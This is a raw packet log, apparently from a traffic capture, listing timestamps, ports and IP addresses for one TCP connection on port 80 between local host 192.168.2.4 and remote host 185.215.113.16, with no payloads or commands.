Nov 2, 2024 07:16:22.695024014 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695035934 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695046902 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695050955 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695074081 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695081949 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695094109 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695106030 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695116997 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695126057 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695137024 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695147991 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695147991 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695173025 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695184946 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695308924 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695333004 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695344925 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695357084 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695363045 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695374966 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695377111 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695385933 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695399046 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695403099 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695410967 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695416927 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695421934 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695425987 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695439100 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695451021 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695457935 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695460081 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695470095 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695477962 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695482016 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695494890 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695504904 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695513010 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695524931 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695537090 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695544004 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695549011 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695563078 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695568085 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695580006 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695590019 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695595980 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695601940 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695610046 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695619106 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695626974 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695632935 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695643902 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695652008 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695656061 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695674896 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695678949 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695686102 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695697069 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695717096 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695719004 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695729017 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695739985 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695751905 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695768118 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695774078 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695779085 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695789099 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695806026 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695806980 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695818901 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695820093 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695835114 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695853949 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695884943 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695924044 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695935965 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695964098 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695977926 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.695995092 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.696007013 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.696026087 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.696038008 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.696063042 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.696088076 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.696109056 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.696120024 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.696130991 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.696135998 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.696141958 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.696147919 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.696171045 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.698165894 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.738339901 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.738399982 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.738411903 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.738468885 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.771951914 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.771981955 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.771992922 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772030115 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772042990 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772128105 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772139072 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772150040 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772161007 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772172928 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772183895 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772190094 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.772217035 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.772233009 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.772281885 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772291899 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772308111 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772332907 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.772344112 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.772353888 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772367001 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772403002 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772407055 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.772440910 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.772475004 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772486925 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772497892 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772526979 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.772547007 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.772649050 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772658110 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772667885 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772681952 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772692919 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772706032 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.772731066 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772733927 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.772742033 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772753000 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772768974 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.772800922 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.772815943 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772828102 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772838116 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772855043 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.772866964 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772876978 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772881985 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.772886038 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772897959 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772910118 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772918940 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.772928953 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.772943020 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.772958040 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.772969007 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773004055 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773022890 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773034096 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773071051 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773127079 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773138046 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773149014 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773159981 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773174047 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773178101 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773196936 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773216009 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773219109 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773226023 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773236990 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773250103 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773258924 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773267031 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773269892 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773277998 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773293972 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773300886 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773324966 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773329020 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773339033 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773348093 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773350954 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773361921 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773363113 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773380041 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773390055 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773391008 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773413897 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773437023 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773574114 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773585081 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773595095 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773624897 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773648977 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773652077 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773688078 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773699045 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773732901 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773766994 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773777962 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773787975 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773798943 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773816109 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773828030 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773852110 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773864985 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773885012 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773910046 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773940086 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773951054 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773967981 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773978949 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.773983002 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.773989916 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.774000883 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.774003983 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.774034023 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.774036884 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.774048090 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.774059057 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.774070024 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.774074078 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.774101019 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.815025091 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815042019 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815052032 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815063953 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815074921 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815114021 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.815139055 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.815200090 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815211058 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815226078 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815237999 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815247059 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815259933 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815272093 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815284967 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815295935 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815347910 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815359116 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815376043 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815387964 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815397024 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815408945 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815431118 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815443993 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815454960 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815466881 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815478086 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815504074 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815515995 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815526009 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815541029 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.815565109 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.815627098 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815639019 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815649033 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815671921 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.815680027 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815690994 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.815697908 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815711021 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815721035 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.815722942 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815741062 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.815748930 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.815754890 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815766096 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815783024 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815800905 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815807104 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.815814018 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815823078 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.815829039 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815838099 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815846920 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.815848112 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.815875053 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.815888882 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816020012 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816031933 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816041946 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816051960 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816067934 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816071033 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816081047 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816092968 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816096067 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816104889 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816106081 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816116095 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816128016 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816137075 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816142082 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816169024 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816171885 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816180944 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816189051 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816203117 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816212893 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816215038 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816227913 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816240072 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816240072 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816245079 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816257000 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816257000 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816268921 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816284895 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816288948 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816294909 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816306114 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816314936 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816318035 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816329956 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816342115 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816349030 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816353083 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816358089 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816371918 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816394091 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816400051 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816412926 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816416979 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816426039 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816436052 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816446066 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816456079 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816457987 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816469908 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816477060 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816504955 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816524029 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816560984 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816586971 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816597939 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816633940 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816667080 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816683054 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816694975 CET	80	63862	185.215.113.16	192.168.2.4
